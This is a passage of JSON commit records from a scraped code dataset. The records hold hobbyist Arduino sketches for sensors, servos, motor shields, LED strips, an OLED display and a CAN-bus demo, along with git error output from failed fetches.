8 microseconds ( inclusive push and pop)\nISR(TIMER2_OVF_vect) {\n\n\/\/ sbi(PORTD,7); \/\/ Test \/ set PORTD,7 high to observe timing with a oscope\n\n phaccu=phaccu+tword_m; \/\/ soft DDS, phase accu with 32 bits\n icnt=phaccu >> 24; \/\/ use upper 8 bits for phase accu as frequency information\n \/\/ read value fron ROM sine table and send to PWM DAC\n OCR2A=pgm_read_byte_near(sine256 + icnt); \n\n if(icnt1++ == 125) { \/\/ increment variable c4ms all 4 milliseconds\n c4ms++;\n icnt1=0;\n } \n\n\/\/ cbi(PORTD,7); \/\/ reset PORTD,7\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Oscillator_example\/Oscillator_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b6b84a4a39201499d51a6a9158f2260109df4702","subject":"Almost ready to go","message":"Almost ready to go\n","repos":"fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs","old_file":"4zones\/wbox-2.0.ino","new_file":"4zones\/wbox-2.0.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fbatta\/wbox-nodejs.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f595df762c942776e77e99a1141dbf085ed75fe8","subject":"Uploaded .ino code for Arduino","message":"Uploaded .ino code for Arduino\n","repos":"YCAMInterlab\/gonzocam,YCAMInterlab\/gonzocam","old_file":"gonzocam\/arduino\/gonzocam\/gonzocam.ino","new_file":"gonzocam\/arduino\/gonzocam\/gonzocam.ino","new_contents":"#include <avr\/sleep.h>\n#include <Servo.h>\n\n\/\/ pin assign -------------\/\/\n#define POT0 A0\n#define POT1 A1\n#define SENSOR A3 \/\/if use digital input > set 2\n#define SWITCH 4\n#define LED 5\n#define SV_PUSH 10\n#define SV_ROLL 11\n\n\/\/parameters\nconst long initialDelay = 20000;\nconst int pushDuration = 200;\nconst int rollCount = 4;\nconst int shootDelayMin = 0;\nconst int shootDelayMax = 3000;\nconst long waitingTimeMin = 10000;\nconst long waitingTimeMax = 120000;\nconst int pushOff = 50;\nconst int pushOn = 75;\nconst int blinkInterval = 500;\n\n\/\/define servo\nServo servoRoll;\nServo servoPush;\n\n\/\/for sequence\nboolean shootMode = false;\nboolean waitMode = false;\nlong timeStampShoot = 0;\nlong timeStampWait = 0;\nunsigned int shootDelay;\nunsigned long waitingTime;\n\n\/\/sensor\nbyte sensorLevel;\nbyte sensorLevelDef;\nunsigned int countSensing;\nunsigned int countSensingThreshold;\n\n\/\/calibration\nunsigned int countLevelLow = 0;\nunsigned int countLevelHigh = 0;\nunsigned long sensorValLow;\nunsigned long sensorValHigh;\n\n\n\nvoid setup()\n{\n Serial.begin(9600);\n\n \/\/Define pin mode\n pinMode(SENSOR, INPUT);\n pinMode(LED, OUTPUT);\n pinMode(SV_ROLL, OUTPUT);\n pinMode(SV_PUSH, OUTPUT);\n\n \/\/Initialize servo\n servoRoll.attach(SV_ROLL);\n servoPush.attach(SV_PUSH);\n servoRoll.write(180);\n servoPush.write(pushOff);\n\n \/\/Chnage the sensor mode by switch\n String sensorName;\n if(digitalRead(SWITCH)) sensorName = \"MOTION\";\n else sensorName = \"MIC\";\n calibration(sensorName);\n countSensing = 0;\n\n \/\/save the battery\n set_sleep_mode(SLEEP_MODE_IDLE);\n sleep_mode();\n}\n\nvoid loop(){\n int val = analogRead(SENSOR);\n if(val < 1023\/2) sensorLevel = 0;\n else if(val > 1023\/2) sensorLevel = 1;\n\n if(sensorLevel == sensorLevelDef) countSensing = 0;\n else{\n countSensing++;\n Serial.println(countSensing);\n }\n\n \/\/WAIT MODE \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if(!shootMode && !waitMode && countSensingThreshold < countSensing){\n Serial.println(\"SENCING!\");\n digitalWrite(LED, HIGH);\n timeStampShoot = millis();\n shootMode = true;\n }\n\n \/\/SHOOT MODE \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if(shootMode && !waitMode && timeStampShoot + shootDelay < millis()){\n\n while(millis() < timeStampShoot + shootDelay + pushDuration){\n servoPush.write(pushOn);\n }\n digitalWrite(LED, LOW);\n servoPush.write(pushOff);\n Serial.println(\"SHOOT!\");\n\n for(int i=0; i<rollCount; i++){\n for(int j=180; j>0; j--){\n servoRoll.write(j);\n delay(3);\n }\n delay(300);\n servoRoll.write(180);\n delay(500);\n }\n\n timeStampWait = millis();\n waitMode = true;\n shootMode = false;\n }\n\n \/\/INTREVAL MODE \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if(!shootMode && waitMode){\n if(millis() < timeStampWait + waitingTime){\n int i = int((millis() - timeStampWait) \/ blinkInterval);\n if(i % 2 == 0) digitalWrite(LED, LOW);\n else if(i % 2 == 1) digitalWrite(LED, HIGH);\n }\n else if(timeStampWait + waitingTime < millis()){\n waitMode = false;\n digitalWrite(LED, LOW);\n countSensing = 0;\n\n set_sleep_mode(SLEEP_MODE_IDLE);\n sleep_mode();\n }\n }\n\n}\n\n\nvoid calibration(String sensor){\n\n while(millis() < initialDelay){\n digitalWrite(LED, HIGH);\n\n int val = analogRead(SENSOR);\n if(val < 1023\/2){\n countLevelLow++;\n sensorValLow = sensorValLow + val;\n }\n else if(val > 1023\/2){\n countLevelHigh++;\n sensorValHigh = sensorValHigh + val;\n }\n }\n\n \/\/define sensor condition\n int valLow = sensorValLow \/ countLevelLow;\n int valHigh = sensorValHigh \/ countLevelHigh;\n\n \/\/set the default sensor state\n if(countLevelLow > countLevelHigh) sensorLevelDef = 0;\n else if(countLevelLow < countLevelHigh) sensorLevelDef = 1;\n\n \/\/set wating duration by sensor value\n shootDelay = map(analogRead(POT0), 1023, 0, shootDelayMin, shootDelayMax);\n waitingTime = map(analogRead(POT1), 1023, 0, waitingTimeMin, waitingTimeMax);\n\n \/\/set the threshold by the kind of sensor\n if(sensor == \"MIC\") countSensingThreshold = 10;\n else if(sensor == \"MOTION\") countSensingThreshold = 30;\n\n \/\/sign of finished calibration\n while(millis() < initialDelay + 600){\n int i = int((millis() - initialDelay) \/ 100);\n if(i % 2 == 0) digitalWrite(LED, LOW);\n else if(i % 2 == 1) digitalWrite(LED, HIGH);\n }\n\n \/\/for debug\n Serial.print(\"Count Low = \");\n Serial.print(countLevelLow);\n Serial.print(\" \");\n Serial.print(\"Val Low = \");\n Serial.println(valLow);\n\n Serial.print(\"Count High = \");\n Serial.print(countLevelHigh);\n Serial.print(\" \");\n Serial.print(\"Val High = \");\n Serial.println(valHigh);\n\n Serial.print(\"Level Def = \");\n Serial.println(sensorLevelDef);\n Serial.println();\n\n Serial.print(\"Shoot Delay = \");\n Serial.println(shootDelay);\n Serial.print(\"Wating Time = \");\n Serial.println(waitingTime);\n\n digitalWrite(LED, LOW);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'gonzocam\/arduino\/gonzocam\/gonzocam.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7c4a90164fc0a3fa2061ea379dcd90b2426a3a7c","subject":"Temp and Humidity Sensor","message":"Temp and Humidity Sensor","repos":"ISTE-NITK\/Sleep-Project,ISTE-NITK\/Sleep-Project,ISTE-NITK\/Sleep-Project,aniketrege\/istesleep,aniketrege\/istesleep","old_file":"src\/dht11.ino","new_file":"src\/dht11.ino","new_contents":"#include<dht.h>\ndht DHT;\n\n\/\/ if you require to change the pin number, Edit the pin with your arduino pin.\n\n#define DHT11_PIN 3\n\nvoid setup() {\n\nSerial.begin(9600);\n\nSerial.println(\"welcome to TechPonder Humidity and temperature Detector\"); }\n\nvoid loop() { \/\/ READ DATA\n\nint chk = DHT.read11(DHT11_PIN);\n\nSerial.println(\" Humidity \" );\n\nSerial.println(DHT.humidity, 1);\n\nSerial.println(\" Temparature \");\n\nSerial.println(DHT.temperature, 1);\n\ndelay(2000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/dht11.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"183f7817a053b90641718962e2dbfcf009924475","subject":"Create Glediator_test1.ino","message":"Create Glediator_test1.ino","repos":"marmilicious\/FastLED_examples","old_file":"Glediator_test1.ino","new_file":"Glediator_test1.ino","new_contents":"\/\/***************************************************************\n\/\/ Testing out reading RGB data sent from Glediator\n\/\/\n\/\/ Marc Miller, June 2017\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\n#define COLOR_ORDER GRB\n#define BRIGHTNESS 255\nCRGB leds[NUM_LEDS];\n\n#define BAUD_RATE 1000000 \/\/250000 \/\/115200\n#define CMD_NEW_DATA 1\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(BAUD_RATE);\n delay(2000); \/\/ startup delay\n \/\/FastLED.addLeds<LED_TYPE, DATA_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n FastLED.clear();\n FastLED.show();\n Serial.println(\"Setup done. \\n\");\n}\n\n\n\/\/---------------------------------------------------------------\nint serialGlediator () {\n while (!Serial.available()) {\n EVERY_N_SECONDS(2) {\n Serial.println(\"no incoming data...\"); \/\/ Print if not receiving anything\n }\n }\n return Serial.read();\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n while (serialGlediator () != CMD_NEW_DATA) {}\n Serial.readBytes((char*)leds, NUM_LEDS * 3);\n FastLED.show();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Glediator_test1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6c45fb58e643bde48e0d117b48eadb9ab32be992","subject":"Adding arduino test","message":"Adding arduino test\n","repos":"plocci\/cobalto","old_file":"arduinoTest.ino","new_file":"arduinoTest.ino","new_contents":"#include <Servo.h>\n\nconst int triggerPort = 42;\nconst int echoPort = 52;\nconst int led = 13;\n\n\/\/ Arduino pins for the shift register\n#define MOTORLATCH 12\n#define MOTORCLK 4\n#define MOTORENABLE 7\n#define MOTORDATA 8\n\n\/\/ 8-bit bus after the 74HC595 shift register \n\/\/ (not Arduino pins)\n\/\/ These are used to set the direction of the bridge driver.\n#define MOTOR1_A 2\n#define MOTOR1_B 3\n\n\/\/ Arduino pins for the PWM signals.\n#define MOTOR1_PWM 11\n#define SERVO2_PWM 9\n\n\/\/ Codes for the motor function.\n#define FORWARD 1\n#define BACKWARD 2\n#define BRAKE 3\n#define RELEASE 4\n\n\/\/ Declare classes for Servo connectors of the MotorShield.\n\/\/Servo servo_1;\nServo servo_2;\n\n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.println(\"Simple Motor Shield sketch\");\n\n pinMode(triggerPort, OUTPUT);\n pinMode(echoPort, INPUT);\n pinMode(led, OUTPUT);\n\n \/\/ Use the default \"Servo\" library of Arduino.\n \/\/ Attach the pin number to the servo library.\n \/\/ This might also set the servo in the middle position.\n \/\/servo_1.attach(SERVO1_PWM);\n servo_2.attach(SERVO2_PWM);\n}\n\n\nvoid loop()\n{\n \/*servo_2.write(90);\n delay(1000);\n servo_2.write(70);\n delay(1000);\n servo_2.write(110);\n delay(1000);\n servo_2.write(90);\n delay(1000);*\/\n\n \/\/porta bassa l'uscita del trigger\n digitalWrite( triggerPort, LOW );\n \/\/invia un impulso di 10microsec su trigger\n digitalWrite( triggerPort, HIGH );\n delayMicroseconds( 10 );\n digitalWrite( triggerPort, LOW );\n \n long durata = pulseIn( echoPort, HIGH );\n long distanza = 0.034 * durata \/ 2;\n \n Serial.print(\"distanza: \");\n \n \/\/dopo 38ms \u00e8 fuori dalla portata del sensore\n if( durata > 38000 ){\n Serial.println(\"Fuori portata \");\n } else{ \n Serial.print(distanza); \n Serial.println(\" cm \");\n }\n \n if (distanza < 10 ) {\n digitalWrite(led, HIGH);\n motor(BRAKE, 0);\n } else if (distanza < 30) {\n digitalWrite(led, LOW);\n motor(FORWARD, 128);\n } else {\n digitalWrite(led, LOW);\n motor(FORWARD, 255);\n }\n}\n\n\n\n\/\/ ---------------------------------\n\/\/ motor\n\/\/\n\/\/ Select the motor (1-4), the command, \n\/\/ and the speed (0-255).\n\/\/ The commands are: FORWARD, BACKWARD, BRAKE, RELEASE.\n\/\/\nvoid motor(int command, int speed)\n{\n int motorA, motorB;\n\n motorA = MOTOR1_A;\n motorB = MOTOR1_B;\n\n switch (command)\n {\n case FORWARD:\n motor_output (motorA, HIGH, speed);\n motor_output (motorB, LOW, -1); \/\/ -1: no PWM set\n break;\n case BACKWARD:\n motor_output (motorA, LOW, speed);\n motor_output (motorB, HIGH, -1); \/\/ -1: no PWM set\n break;\n case BRAKE:\n \/\/ The AdaFruit library didn't implement a brake.\n \/\/ The L293D motor driver ic doesn't have a good\n \/\/ brake anyway.\n \/\/ It uses transistors inside, and not mosfets.\n \/\/ Some use a software break, by using a short\n \/\/ reverse voltage.\n \/\/ This brake will try to brake, by enabling \n \/\/ the output and by pulling both outputs to ground.\n \/\/ But it isn't a good break.\n motor_output (motorA, LOW, 255); \/\/ 255: fully on.\n motor_output (motorB, LOW, -1); \/\/ -1: no PWM set\n break;\n case RELEASE:\n motor_output (motorA, LOW, 0); \/\/ 0: output floating.\n motor_output (motorB, LOW, -1); \/\/ -1: no PWM set\n break;\n default:\n break;\n }\n}\n\n\/\/ ---------------------------------\n\/\/ motor_output\n\/\/\n\/\/ The function motor_ouput uses the motor driver to\n\/\/ drive normal outputs like lights, relays, solenoids, \n\/\/ DC motors (but not in reverse).\n\/\/\n\/\/ It is also used as an internal helper function \n\/\/ for the motor() function.\n\/\/\n\/\/ The high_low variable should be set 'HIGH' \n\/\/ to drive lights, etc.\n\/\/ It can be set 'LOW', to switch it off, \n\/\/ but also a 'speed' of 0 will switch it off.\n\/\/\n\/\/ The 'speed' sets the PWM for 0...255, and is for \n\/\/ both pins of the motor output.\n\/\/ For example, if motor 3 side 'A' is used to for a\n\/\/ dimmed light at 50% (speed is 128), also the \n\/\/ motor 3 side 'B' output will be dimmed for 50%.\n\/\/ Set to 0 for completelty off (high impedance).\n\/\/ Set to 255 for fully on.\n\/\/ Special settings for the PWM speed:\n\/\/ Set to -1 for not setting the PWM at all.\n\/\/\nvoid motor_output (int output, int high_low, int speed)\n{\n int motorPWM;\n\n motorPWM = MOTOR1_PWM;\n\n if (speed != -3333)\n {\n \/\/ Set the direction with the shift register \n \/\/ on the MotorShield, even if the speed = -1.\n \/\/ In that case the direction will be set, but\n \/\/ not the PWM.\n shiftWrite(output, high_low);\n\n \/\/ set PWM only if it is valid\n if (speed >= 0 && speed <= 255) \n {\n analogWrite(motorPWM, speed);\n }\n }\n}\n\n\n\/\/ ---------------------------------\n\/\/ shiftWrite\n\/\/\n\/\/ The parameters are just like digitalWrite().\n\/\/\n\/\/ The output is the pin 0...7 (the pin behind \n\/\/ the shift register).\n\/\/ The second parameter is HIGH or LOW.\n\/\/\n\/\/ There is no initialization function.\n\/\/ Initialization is automatically done at the first\n\/\/ time it is used.\n\/\/\nvoid shiftWrite(int output, int high_low)\n{\n static int latch_copy;\n static int shift_register_initialized = false;\n\n \/\/ Do the initialization on the fly, \n \/\/ at the first time it is used.\n if (!shift_register_initialized)\n {\n \/\/ Set pins for shift register to output\n pinMode(MOTORLATCH, OUTPUT);\n pinMode(MOTORENABLE, OUTPUT);\n pinMode(MOTORDATA, OUTPUT);\n pinMode(MOTORCLK, OUTPUT);\n\n \/\/ Set pins for shift register to default value (low);\n digitalWrite(MOTORDATA, LOW);\n digitalWrite(MOTORLATCH, LOW);\n digitalWrite(MOTORCLK, LOW);\n \/\/ Enable the shift register, set Enable pin Low.\n digitalWrite(MOTORENABLE, LOW);\n\n \/\/ start with all outputs (of the shift register) low\n latch_copy = 0;\n\n shift_register_initialized = true;\n }\n\n \/\/ The defines HIGH and LOW are 1 and 0.\n \/\/ So this is valid.\n bitWrite(latch_copy, output, high_low);\n\n \/\/ Use the default Arduino 'shiftOut()' function to\n \/\/ shift the bits with the MOTORCLK as clock pulse.\n \/\/ The 74HC595 shiftregister wants the MSB first.\n \/\/ After that, generate a latch pulse with MOTORLATCH.\n shiftOut(MOTORDATA, MOTORCLK, MSBFIRST, latch_copy);\n delayMicroseconds(5); \/\/ For safety, not really needed.\n digitalWrite(MOTORLATCH, HIGH);\n delayMicroseconds(5); \/\/ For safety, not really needed.\n digitalWrite(MOTORLATCH, LOW);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduinoTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8085cff7368f8c8d1e3fad327547d9da447c28f5","subject":"Add some arduino testing code to run some gaits on the snake robot","message":"Add some arduino testing code to run some gaits on the snake robot\n","repos":"ExiaSR\/SnakeRobot,PeterL328\/SnakeRobot,PeterL328\/SnakeRobot,Robot-Club\/SnakeRobot,Robot-Club\/SnakeRobot","old_file":"Arduino code\/pyp_gaits\/pyp_gaits.ino","new_file":"Arduino code\/pyp_gaits\/pyp_gaits.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/pyp_gaits\/pyp_gaits.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3908f914053ee4188ba97fab104872e6d1cc76a7","subject":"Initial Commit","message":"Initial Commit\n\nCreated git repository.\n*First fixes in code got from Teacher are already done\n*Wroking on I\/O behaviour\n","repos":"mkalte666\/LineRobot,mkalte666\/LineRobot","old_file":"Roboter_C\/Roboter_C.ino","new_file":"Roboter_C\/Roboter_C.ino","new_contents":"#include<Wire.h>\n\n#define F_CPU 16000000\n\n int a;\n int b;\n int c;\n int d;\n int e;\n int f;\n\n\nvoid SetFlag(unsigned char* dst, unsigned char flag)\n{\n *dst |= (1<<flag);\n}\n\nvoid ResetFlag(unsigned char* dst, unsigned char flag)\n{\n *dst &= ~(1<<flag);\n}\n\nboolean CheckFlag(unsigned char* dst, unsigned char flag)\n{\n return (*dst & flag);\n}\n\nvoid setup() \n{\n Wire.begin();\n Serial.begin(9600); \n pinMode(24, INPUT); \n pinMode(25, INPUT);\n pinMode(26, INPUT);\n pinMode(27, INPUT);\n pinMode(6,OUTPUT);\n pinMode(7,OUTPUT);\n pinMode(8,OUTPUT);\n pinMode(9,OUTPUT);\n pinMode(14,OUTPUT);\n }\n\nvoid raw_drive(char l, char r, unsigned char spd)\n{\n digitalWrite(8, l);\n digitalWrite(9, r);\n analogWrite(6, spd);\n analogWrite(7, spd);\n}\n\nvoid fahren(int x,int y) \/\/ x = 0..6 , y = 0 .. 255\n{\n \n switch (x)\n {\n case 0: \/\/Motoren stop\n digitalWrite(8, HIGH);\n digitalWrite(9, LOW);\n analogWrite(6, 0);\n analogWrite(7, 0);\n break;\n case 1: \/\/Motoren vorw\u00e4rts\n digitalWrite(8, HIGH);\n digitalWrite(9, LOW);\n analogWrite(6, y);\n analogWrite(7, y);\n break; \n case 2: \/\/Motoren r\u00fcckw\u00e4rts\n digitalWrite(8, LOW);\n digitalWrite(9, HIGH);\n analogWrite(6, y);\n analogWrite(7, y);\n break;\n case 3: \/\/Lenken links schnell\n digitalWrite(8, LOW);\n digitalWrite(9, LOW);\n analogWrite(6, y);\n analogWrite(7, y);\n break; \n case 4: \/\/Lenken rechts schnell\n digitalWrite(8, HIGH);\n digitalWrite(9, HIGH);\n analogWrite(6, y);\n analogWrite(7, y);\n break; \n case 5: \/\/Lenken links langsam\n digitalWrite(8, LOW);\n digitalWrite(9, LOW);\n analogWrite(6, 0);\n analogWrite(7, y);\n break; \n case 6: \/\/Lenken rechts langsam\n digitalWrite(8, HIGH);\n digitalWrite(9, HIGH);\n analogWrite(6, y);\n analogWrite(7, 0);\n break; \n }\n }\n\nunsigned char parse_linesensors()\n{\n unsigned char result = 0;\n (LOW == digitalRead(24)) ? SetFlag(&result, 0) : ResetFlag(&result, 0);\n (LOW == digitalRead(25)) ? SetFlag(&result, 1) : ResetFlag(&result, 1);\n (LOW == digitalRead(26)) ? SetFlag(&result, 2) : ResetFlag(&result, 2);\n (LOW == digitalRead(27)) ? SetFlag(&result, 3) : ResetFlag(&result, 3);\n return result;\n}\n\nvoid srf02()\n{\n Wire.beginTransmission(112); \/\/entspricht Adresse 0xE0\n Wire.write(byte(0x00)); \/\/Befehlsregister 0x00\n Wire.write(byte(0x51)); \/\/Werte in cm\n Wire.endTransmission();\n delay(70);\n Wire.beginTransmission(112); \/\/entspricht Adresse 0xE0\n Wire.write(byte(0x02)); \/\/Befehlsregister 0x00\n Wire.endTransmission();\n Wire.requestFrom(112,2); \/\/2 bytes von Adresse 112\n if (2<=Wire.available())\n {\n f = Wire.read();\n f = f<<8;\n f |= Wire.read();\n }\n}\n\nvoid loop() \n{\n unsigned char flags = parse_linesensors();\n srf02();\n Serial.println(flags);\n \/\/ delay(150); \/\/wegen Anzeige im Hyperterminal\n \/*switch (flags)\n {\n case 0:\n fahren(1,60);\n break;\n case 1:\n fahren(6,60);\n break;\n case 2:\n fahren(6,60);\n break; \n case 3:\n fahren(6,60);\n break;\n case 4:\n fahren(5,60);\n break; \n case 8:\n fahren(5,60);\n break; \n case 12:\n fahren(5,60);\n break; \n default:\n fahren(1,60);\n break; \n } \n *\/\n \n}\n\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"96626947cc224e0262d72334972aabdd9ca68ce8","subject":"added more serial comm to nduino","message":"added more serial comm to nduino\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/src\/src.ino","new_file":"nduino\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"96edc13c0760495aef95dcdf54d37be26520910d","subject":"modded","message":"modded\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"ocean-x\/ocean-x.ino","new_file":"ocean-x\/ocean-x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0846dd8bdeef1da628d77c9db5611bfbedb7b6ff","subject":"Create beginner-128x64OLED.ino","message":"Create beginner-128x64OLED.ino","repos":"stephanjroux\/Adafruit_SSD1306,niklashagemann\/Adafruit_SSD1306","old_file":"beginner-128x64OLED.ino","new_file":"beginner-128x64OLED.ino","new_contents":"\/*********************************************************************\nThis is an example for our Monochrome OLEDs based on SSD1306 drivers\n\n Pick one up today in the adafruit shop!\n ------> http:\/\/www.adafruit.com\/category\/63_98\n\nThis example is for a 128x64 size display using I2C to communicate\n3 pins are required to interface (2 I2C and one reset)\n\nAdafruit invests time and resources providing this open source code, \nplease support Adafruit and open-source hardware by purchasing \nproducts from Adafruit!\n\nWritten by Limor Fried\/Ladyada for Adafruit Industries. \nBSD license, check license.txt for more information\nAll text above, and the splash screen must be included in any redistribution\n*********************************************************************\/\n\n\n\n\/\/ Added by Jeremy Ellis\n\/\/ using Grove 128x64 OLED \n\/\/ http:\/\/www.seeedstudio.com\/wiki\/Grove_-_OLED_Display_0.96%22#With_Arduino\n\n\/\/ black GND \n\/\/ red 3v3 so do not need the protective resistors below\n\/\/ white SDA D0 needs resistors 1.5K to 10K since 5V serial\n\/\/ yellow SCL D1 needs resistors 1.5K to 10K since 5V serial\n\n\n\n\/\/used pkourany github site\n\/\/https:\/\/github.com\/pkourany\/Adafruit_SSD1306\n\n\/\/ you must include the following files and the coresponding .cpp files \n\/\/ total 4 files\n\n#include \"Adafruit_GFX.h\"\n#include \"Adafruit_SSD1306.h\"\n\n#define OLED_RESET D4\nAdafruit_SSD1306 display(OLED_RESET);\n\n#define NUMFLAKES 10\n#define XPOS 0\n#define YPOS 1\n#define DELTAY 2\n\n\n#define LOGO16_GLCD_HEIGHT 16 \n#define LOGO16_GLCD_WIDTH 16 \n\n\n\n#if (SSD1306_LCDHEIGHT != 64)\n#error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n#endif\n\nvoid setup() { \n Serial.begin(9600);\n\n \/\/ by default, we'll generate the high voltage from the 3.3v line internally! (neat!)\n display.begin(SSD1306_SWITCHCAPVCC, 0x3C); \/\/ initialize with the I2C addr 0x3D (for the 128x64)\n \/\/ init done\n \n \/\/display.display(); \/\/ show splashscreen\n \/\/ delay(2000);\n display.clearDisplay(); \/\/ clears the screen and buffer\n \n display.setTextSize(2); \/\/ from 1-9 sensible actually can be bigger but useless\n display.setTextColor(BLACK, WHITE); \/\/ 'inverted' text\n display.setCursor(0,30); \/\/ 128,64 pixels\n display.clearDisplay();\n display.println(\"Hello OLED\");\n display.display();\n delay(4000);\n \n\n display.setTextSize(1);\n display.setTextColor(WHITE,BLACK); \/\/ Normal text\n display.setCursor(0,0);\n display.clearDisplay();\n display.println(\"size 1\");\n display.println(\"size 1, line 2\");\n display.display();\n delay(4000);\n \n\n display.clearDisplay();\n display.println(\"size 2\");\n display.display();\n delay(1000);\n \n \n display.setTextSize(3);\n display.clearDisplay();\n display.setCursor(50,4);\n display.println(\"size 3\");\n display.display();\n delay(1000);\n \n \n display.setTextSize(9);\n display.setCursor(0,0);\n display.clearDisplay();\n display.println(\"9\");\n display.display();\n delay(2000);\n \n \n display.setTextSize(1);\n display.setCursor(0,0);\n display.clearDisplay();\n display.println(\"Good Bye\");\n display.display();\n delay(2000);\n \n \n display.clearDisplay();\n display.display();\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'beginner-128x64OLED.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7dbd1f75862d1ca505ee72b76fa1c66cb7bbcef3","subject":"Fixing missing MIT header","message":"Fixing missing MIT header\n","repos":"buelowp\/sleepintimer","old_file":"sleepintimer\/sleepintimer.ino","new_file":"sleepintimer\/sleepintimer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/buelowp\/sleepintimer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8819c7c8227f7d3d8f60d687bc1f657908c71e05","subject":"Add battery meter code.","message":"Add battery meter code.\n","repos":"hirnidrin\/makezurich2017,hirnidrin\/makezurich2017","old_file":"ardu\/ardu.ino","new_file":"ardu\/ardu.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/hirnidrin\/makezurich2017.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4c610b23b97ee76326df5f9a3e1a825d3f4ae42b","subject":"receive tests","message":"receive tests\n","repos":"biopmr\/ModExo,biopmr\/ModExo","old_file":"receive\/receive.ino","new_file":"receive\/receive.ino","new_contents":"\/\/ demo: CAN-BUS Shield, receive data with check mode\n\/\/ send data coming to fast, such as less than 10ms, you can use this way\n\/\/ loovee, 2014-6-13\n\n\n#include <SPI.h>\n#include \"mcp_can.h\"\n\n\n\/\/ the cs pin of the version after v1.1 is default to D9\n\/\/ v0.9b and v1.0 is default D10\nconst int SPI_CS_PIN = 9;\n\nMCP_CAN CAN(SPI_CS_PIN); \/\/ Set CS pin\n\nvoid setup()\n{\n Serial.begin(115200);\n\n while (CAN_OK != CAN.begin(CAN_1000KBPS)) \/\/ init can bus : baudrate = 500k\n {\n Serial.println(\"CAN BUS Shield init fail\");\n Serial.println(\" Init CAN BUS Shield again\");\n delay(100);\n }\n Serial.println(\"CAN BUS Shield init ok!\");\n}\n\n\nvoid loop()\n{\n unsigned char len = 0;\n unsigned char buf[8];\n\n if(CAN_MSGAVAIL == CAN.checkReceive()) \/\/ check if data coming\n {\n CAN.readMsgBuf(&len, buf); \/\/ read 